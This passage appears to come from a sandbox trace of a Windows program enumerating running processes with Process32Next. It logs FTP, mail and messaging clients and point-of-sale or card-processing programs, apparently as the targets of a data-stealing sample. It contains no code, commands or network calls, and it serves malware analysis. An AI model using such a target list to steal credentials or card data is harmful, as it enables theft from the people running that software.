cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0244.542] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0244.545] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0244.549] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0244.552] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0244.555] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0244.558] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0244.561] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0244.565] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0244.568] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0244.571] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0244.574] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0244.576] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0244.579] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0244.582] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0244.585] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0244.587] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0244.590] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0244.594] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0244.597] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0244.600] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0244.635] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0244.641] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0244.645] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0244.648] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0244.652] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0244.656] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0244.661] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0244.665] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0244.669] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0244.673] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0244.677] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0244.682] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0244.685] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0244.690] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0244.692] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0244.696] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0244.699] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0244.703] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0244.710] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0244.748] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0244.752] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.756] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0244.759] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0244.763] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0244.767] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0244.771] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0244.775] CloseHandle (hObject=0x21ec) returned 1 [0244.775] Sleep (dwMilliseconds=0x64) [0244.777] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0244.797] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.801] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.835] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.839] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.845] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.858] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.875] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.885] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.900] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.910] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.929] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.940] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.946] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.955] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.964] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.968] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.974] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.980] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.991] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.996] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0245.004] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0245.010] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.017] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.062] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0245.065] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0245.067] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0245.070] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0245.072] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0245.076] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0245.079] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0245.081] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.083] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.086] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0245.089] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.092] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.094] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0245.097] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, 